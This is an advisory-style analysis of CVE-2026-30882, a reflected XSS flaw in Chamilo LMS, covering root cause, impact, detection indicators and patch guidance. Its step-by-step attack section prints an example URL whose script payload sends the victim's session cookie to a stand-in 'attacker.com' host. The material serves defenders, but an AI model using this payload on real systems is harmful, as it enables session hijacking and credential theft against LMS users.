CVE-2026-30882: 
Chamilo vulnerability analysis and mitigation

CVE-2026-30882 is a Reflected Cross-Site Scripting (XSS) vulnerability in Chamilo LMS affecting versions 1.11.34 and prior. The flaw resides in the session category listing page (main/session/session_category_list.php), where the keyword parameter from $_REQUEST is echoed directly into an HTML href attribute without encoding or sanitization. It was reported on March 6, 2026, published on March 16, 2026, and patched in version 1.11.36 released March 8, 2026. The vulnerability carries a CVSS v3.1 base score of 6.1 (Medium) (GitHub Advisory, Feedly).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), classified as a Reflected XSS. The keyword parameter supplied via $_REQUEST is inserted unsanitized into an HTML href attribute within pagination controls on the session category listing page. An attacker can break out of the attribute context using the sequence "> followed by a malicious JavaScript payload. Critically, the vulnerability is only triggered when pagination controls are rendered — which requires more than 20 session categories to be present in the system. Exploitation requires the victim to be an authenticated user who clicks a crafted malicious URL (GitHub Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim's browser within the context of the Chamilo LMS application. This can lead to session hijacking, credential theft, unauthorized actions performed on behalf of the victim (such as modifying course content or user data), and potential defacement of LMS content. Because the scope is changed (S:C in CVSS), the injected script can affect resources beyond the immediate application context, though availability is not impacted (GitHub Advisory, Feedly).

There is no public proof-of-concept exploit code and no evidence of in-the-wild exploitation at this time. The vulnerability requires user interaction (a victim must click a crafted link) and the target instance must have more than 20 session categories configured to trigger pagination. The EPSS score is 0.0001 (very low probability of exploitation in the near term). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. The advisory credits researcher "elliSzAt" as the reporter (GitHub Advisory, Feedly).

1. Reconnaissance: Identify Chamilo LMS instances running version 1.11.34 or earlier. Confirm the target has more than 20 session categories configured (required to trigger pagination controls).
2. Craft malicious URL: Construct a URL targeting the session category listing page with a malicious keyword parameter that breaks out of the href attribute context, e.g.:

https://target.example.com/main/session/session_category_list.php?keyword="><script>document.location='https://attacker.com/steal?c='+document.cookie</script>

3. Deliver the payload: Send the crafted URL to an authenticated Chamilo LMS user via phishing email, chat message, or other social engineering vector.
4. Trigger execution: When the victim (who must be authenticated) clicks the link and the page renders with pagination (>20 session categories), the injected script executes in their browser.
5. Achieve objective: The attacker receives the victim's session cookie or performs unauthorized actions (e.g., account takeover, data exfiltration, content modification) within the LMS (GitHub Advisory).

• Network: HTTP GET requests to /main/session/session_category_list.php containing URL-encoded XSS payloads in the keyword parameter (e.g., %22%3E%3Cscript%3E, "><script>, or similar attribute-breaking sequences); outbound connections from the LMS server or victim browsers to unknown external domains shortly after such requests.
• Logs: Web server access logs showing requests to session_category_list.php with anomalous keyword values containing >, <script>, onerror=, onload=, or JavaScript URI schemes; repeated requests from the same IP with varying XSS payloads (fuzzing behavior).
• Application Logs: PHP error logs referencing unexpected output in main/session/session_category_list.php related to malformed keyword input.

The primary remediation is to upgrade Chamilo LMS to version 1.11.36 or later, which was released as a security-focused update on March 8, 2026 (Chamilo Release). For organizations unable to patch immediately, the following interim mitigations are recommended: implement a Content Security Policy (CSP) header to restrict inline script execution; deploy a Web Application Firewall (WAF) rule to block requests with XSS patterns in the keyword parameter; and restrict access to the session category listing page to trusted administrator roles only. Monitor web server access logs for suspicious keyword parameter values as a detection measure (GitHub Advisory).